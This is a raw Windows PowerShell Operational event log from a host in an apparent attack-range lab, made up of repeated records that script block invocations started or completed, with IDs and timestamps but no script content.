LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032826
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032825
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032820
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032819
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032797
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032795
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032794
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032777
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
